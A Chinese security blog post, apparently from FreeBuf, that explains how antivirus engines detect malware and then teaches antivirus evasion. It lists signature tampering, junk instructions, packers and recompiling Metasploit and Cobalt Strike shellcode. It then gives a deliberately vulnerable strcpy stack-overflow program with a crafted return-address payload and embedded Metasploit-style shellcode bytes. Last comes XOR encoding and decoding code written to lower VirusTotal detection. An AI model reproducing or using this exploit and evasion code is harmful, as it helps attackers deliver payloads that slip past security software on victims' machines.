Mr_miming
- 关注

杀毒原理浅析
1 基于特征码的查杀
应用最广泛的是特征码法,根据从病毒体中提取的病毒特征码,逐个与程序文件比较.特征码是反病毒公司在分析病毒时,确定的只有该病毒才可能会有的一系列二进制串,由这些特征可以与其它病毒或正常程序区别开来.杀毒软件的升级就是使该软件病毒库数据更新,能查出新的病毒.
2 启发式扫描
检测过程通常分为两个阶段, 第一阶段是发现程序的行为,主要检测程序前段和后段部分,大约几K的代码。发现方法分静态扫描和动态扫描两种,区别主要在于是否利用CPU模拟器来检测程序的行为。
静态启发式扫描检测方法:字节序列(签名)比对法:通过匹配字节序列来发现程序中的某些行为。静态检测方法开销小,但是可能会漏掉一些经过精心设计的病毒。动态启动式扫描检测方法:在隔离的仿真环境里运行可疑文件,扫描程序监视可疑文件的系统调用。动态检测方法开销大,效率低。对于只有在特定条件下才感染新文件的病毒,可能无法检测出(如果在检测时没有满足病毒的活动条件),这种情况下,静态检测方法更有效。
3 沙箱技术
查毒引擎中的虚拟机,并不是像VMWare的工作原理那样,为待查的可执行程序创建一个虚拟的执行环境,提供它可能用到的一切元素,包括硬盘,端口等,让它在其上自由发挥,最后根据其行为来判定是否为病毒。设计虚拟机查毒的目的,就是为了对付加密变形病毒,虚拟机首先从文件中确定并读取病毒入口处代码,然后以上述工作步骤解释执行病毒头部的解密段(Decryptor),最后在执行完的结果(解密后的病毒体明文)中查找病毒的特征码。
免杀技术
1 修改特征码
如果一个文件某个特定区域的校验和符合病毒库中的特征,那么反病毒软件就会报警。如果想阻止反病毒软件报警,只要对病毒的特定区域进行一定的更改,就会使这一区域的校验和改变,从而达到欺骗反病毒软件的目的。
2 花指令
在程序shellcode或特征代码区域增添垃圾指令,这些指令没有实际含义,不会改变程序运行逻辑,但可以阻止反编译,现在杀软在检测特征码时,都会存在偏移范围,当我们使用花指令对特征码区域进行大量填充,这样就可以实现躲避杀软的特性。
3 加壳免杀
程序加壳可以很好的躲避匹配特征码查杀方式,加密壳基本上可以把特征码全部掩盖。这里说的壳指加密壳,一些普通压缩壳,并不能起到改变特征码的效果,例如:UPX、ASPack等。
4 二次开发
对常用shellcode,如CS、MSF的shellcode进行二次编译,消除shellcode特征进行免杀。
基于栈溢出的免杀
栈溢出原理
堆栈是一种具有一定规则的数据结构,我们可以按照一定的规则进行添加和删除数据。它使用的是后进先出的原则。在x86等汇编集合中堆栈与弹栈的操作指令分别为:PUSH:入栈。POP:出栈。
ESP:栈的指针寄存器,存放一个指针,该指针永远指向系统栈最上面一个栈帧的栈顶。EBP:基址指针寄存器,存放一个指针,该指针永远指向系统栈最上面一个栈帧的底部。EIP:指令寄存器,存放者一个指针,该指针永远指向下一条等待执行的指令地址。
函数栈帧:ESP和EBP之间的内存为当前函数的栈帧,EBP标识了当前函数的栈低,ESP标识了当前函数的栈帧顶部。
在函数栈帧中,一般包含几类信息:1、局部变量:为函数局部变量开辟的内存空间2、栈帧状态值:保存前栈帧的ESP和EBP,用于在本栈被弹出后用于恢复上一个栈帧。3、函数返回地址:保存当前函数调用前的“断点”信息,也就是函数调用前的指令位置,以便在函数返回时能够恢复到函数被调用前的代码区中继续执行指令。首先写一段存在栈溢出漏洞的代码:
#include <stdio.h> #include <stdlib.h> char shellcode_calc[] = "\x90\x90\x90\x90\x90\x90\x90\x90"; int func() { char buffer[8]; strcpy(buffer,shellcode_calc); return 0; } int main(){ func(); return 0; }
可以看到上述代码strcpy函数中数组越界会导致缓冲区溢出。在漏洞点下方断点:
可以看到栈底为0060FF18
可以看出,共输入16个字节即可覆盖栈底EBP,并且覆盖函数的返回地址,此处修改溢出的函数返回地址,则可以跳转到内存中任意区域,如果此处指向shellcode的地址,则shellcode会被执行。
此处先生成calc的shellcode进行测试:
由于要执行shellcode,需要先获取shellcode在内存中的地址。
获取到shellcode的地址为00402020。由于溢出需要16个字节,且最后4个字节为shellcode的地址00402020。故修改payload为:
\x71\x71\x71\x71\x71\x71\x71\x71\x71\x71\x71\x71\x20\x20\x40\x00
由于地址在内存中是地位在前,高位在后,所以要想如上写法。
此时就可以执行我们shellcode中的内容:
代码如下:
#include <stdio.h> #include <stdlib.h> unsigned char buf[] = "\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30" "\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff" "\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52" "\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1" "\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b" "\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03" "\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b" "\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24" "\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb" "\x8d\x5d\x6a\x01\x8d\x85\xb2\x00\x00\x00\x50\x68\x31\x8b\x6f" "\x87\xff\xd5\xbb\xe0\x1d\x2a\x0a\x68\xa6\x95\xbd\x9d\xff\xd5" "\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a" "\x00\x53\xff\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00"; char shellcode_calc[] = "\x71\x71\x71\x71\x71\x71\x71\x71\x71\x71\x71\x71\x20\x20\x40\x00"; int func() { char buffer[8]; strcpy(buffer,shellcode_calc); return 0; } int main(){ func(); return 0; }
此时我们将shellcode替换为MSF的shellcode进行尝试可以正常连接。放到VT进行检测,可以看到效果不太好,此时对shellcode进行异或加密,然后解密执行:异或shellcode的代码如下:
#include <stdio.h> unsigned char buf[] = ""; void encode_func() { int i; for (i = 0;i < (sizeof(buf)-1);i++) { buf[i] = buf[i] ^ 0x1b; printf("\\x%02x",buf[i]); } } int main(){ encode_func(); return 0; }
对异或加密后的shellcode进行解密之后执行:
#include <stdio.h>#include <stdlib.h> unsigned char buf[] = "\xe7\xf3\x94\x1b\x1b\x1b\x7b\x92\xfe\x2a\xc9\x7f\x90\x49\x2b\x90 ......";char shellcode_calc[] = "\x71\x71\x71\x71\x71\x71\x71\x71\x71\x71\x71\x71\x20\x20\x40\x00";int func(){ int i; for (i = 0;i < (sizeof(buf)-1);i++) { buf[i] = buf[i] ^ 0x1b; } char buffer[8]; strcpy(buffer,shellcode_calc); return 0;}int main(){ func(); return 0;}
可以看到效果依旧不好,由于杀软是基于shellcode的特征进行查杀的,所以需要对shellcode进行特征码去除或者二次编译进行免杀尝试,对于shellcode修改特征码、添加花指令、加壳以及二次编译敬请期待后续文章。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)